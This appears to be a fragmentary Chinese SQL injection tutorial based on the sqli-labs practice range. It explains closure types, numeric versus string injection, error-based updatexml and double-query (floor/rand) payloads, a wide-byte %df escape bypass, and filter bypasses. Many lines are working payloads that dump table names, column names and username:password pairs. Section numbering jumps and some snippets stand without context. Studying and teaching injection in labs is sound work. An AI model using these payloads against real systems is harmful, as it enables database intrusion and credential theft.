select * from security where x=$id;
select * from security where x=($id);
select * from security where x='$id';
select * from security where x=('$id');
select * from security where x=(('$id'));
select * from security where x="$id";
select * from security where x=("$id");
select * from security where x=(("$id"));
这几条是不同闭合方式的SQL语句，第一条是数字型注入，剩下的是字符型注入，它们都有不同的闭合方式------单引号闭合、单引号括号闭合等。$id是我们输入的值，我们输入id=1 的话，第一条语句就为select * from security where x=1;，假如输入id=1"多了个单引号（以第一条和第六条为例），那么第一条语句就会报错，第六条也会报错因为多了个双引号；如果我们输入id=1" -- #呢？第一条还是会报错，但是第六条不会报错，因为我们最后的SQL语句是select * from security where x="1" -- #";后面的一个双引号被注释掉了，这就是构造闭合。
4. 判断数字型还是字符型
复制代码
?id=2-1 --+ 确定2和1的内容如果通过减号显示1的内容，那就是数字型输入。有时候这一杠会被过滤就换一种方法
?id=1' --+出现报错信息，根据报错信息可以判断原来有没有引号
?id=1' and '1'='1
?id=2' and '1'='1 判断有没有括号，因为有括号的话整体是1
剩下就是一些加单引号、双引号、括号、大括号，百分号的过程了，大括号和百分号比较少见。
刷sql-labs-master靶场习惯了就容易判断了。
闭合完成之后可以干嘛？当然是构造payload，例如（先不管它是做什么的）：
select * from database where id='1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+'
其中我们输入的内容是：1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
获取列名：
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+
获取数据
?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
php复制代码
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";
?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
12. 双查询注入（报错注入一种）
首先这适合其他报错函数都过滤了但有报错信息，而且没有回显位的，比较少见所以这里给出链接。
【Double SQL Injection(双查询注入) \| Mochazz's blog】\](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。
这里以sqli-labs-master第五关为例子。
首先这对于初学来说这个报错注入会比较难理解，我们先判断闭合方式：
?id=1' and '1'='1
?id=1' and '1'='2
通过上述语句可以知道这是单引号闭合，接下来判断注入类型，这里先试一下Union注入：
?id=1' order by 3 --+
?id=1' order by 4 --+
通过上述语句可以得到字段数为3，接下来判断回显位：
?id=1' and '1'='2' union select 1,2,3--+
通过这一段payload，发现并没有回显位，所以Union注入不可行，所以回到报错注入。
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
通过上述语句得到的结果为 **XPATH syntax error: '\~emails,referers,uagents,users'**，之后过程省略。但是这一关的考点为报错注入中的双查询注入，我们假设updatexml()被过滤了，我们要使用双查询注入，关于双查询注入的文章\[【Double SQL Injection(双查询注入) \| Mochazz's blog】\](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。
?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
通过上述语句得到**Duplicate entry ':emails,referers,uagents,users:0' for key ''**，接着获取users的字段名
?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+
通过上述语句得到 \*\*Duplicate entry ':id,username,password:0' for key ''\*\*接着获取username和password：
?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+
13. SQL注入过滤与绕过
13.1. 双写绕过、大小写绕过
对于sqli-Less25关有对于and和or大小写不敏感的过滤，这里的i表示大小写不敏感：
php复制代码
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
where id=1 and substr(database(),1,1) in ('c');
where id=1 and substr(database(),1,1) between 'a' and 'd';
13.7. 等号过滤绕过
如果等号被过滤，可以使用:
复制代码
>0 and <2 等价于 =1
<>等价于!
like
正则匹配
13.8. 逗号过滤绕过
我们可能会使用substr()，substring()，mid()等函数，里面会有逗号
对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
